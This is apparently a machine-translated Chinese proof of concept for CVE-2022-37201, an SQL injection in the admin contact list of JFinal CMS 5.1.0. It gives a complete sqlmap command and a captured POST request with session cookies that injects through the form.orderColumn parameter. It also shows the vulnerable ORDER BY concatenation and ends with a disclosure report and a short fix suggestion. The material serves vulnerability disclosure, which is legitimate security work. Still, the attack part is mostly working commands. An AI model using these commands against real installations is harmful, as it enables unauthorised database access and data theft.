CVE-2022-37201 POC
首先,您应该安装 sqlmap
您需要设置
然后运行 shell
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
image-20220730053527316
有时您应该知道 /jfinal_cms/ 并非必需,您需要判断路由
您可以查看接口 /system/menu/list 的代码
sql.append(" order by ").append(orderBy);
这里有一段 SQL 语句直接被拼接
更重要的是
没有采取任何措施来防止 SQL 注入,因为这里需要 SQL 注入
通过分析这个功能点,我发现 orderby 的注入是固定的,例如 id、name、menu key,所以您可以尝试使用参数化查询或创建白名单
我的测试
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10
在 sqlmap 中运行!!! 使用 -r
[建议描述] JFinal CMS 5.1.0 存在 SQL 注入漏洞。
[附加信息] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[漏洞类型] SQL 注入
[产品供应商] 开发团队
[受影响产品代码库] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0
[受影响组件] 这些接口未使用相同的组件,也没有过滤器,而是各自使用自己的 SQL 拼接方式,导致 SQL 注入
[攻击类型] 远程
[影响代码执行] 是
[影响信息泄露] 是
[攻击向量] 需要用户登录
[参考] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[发现者] jw5t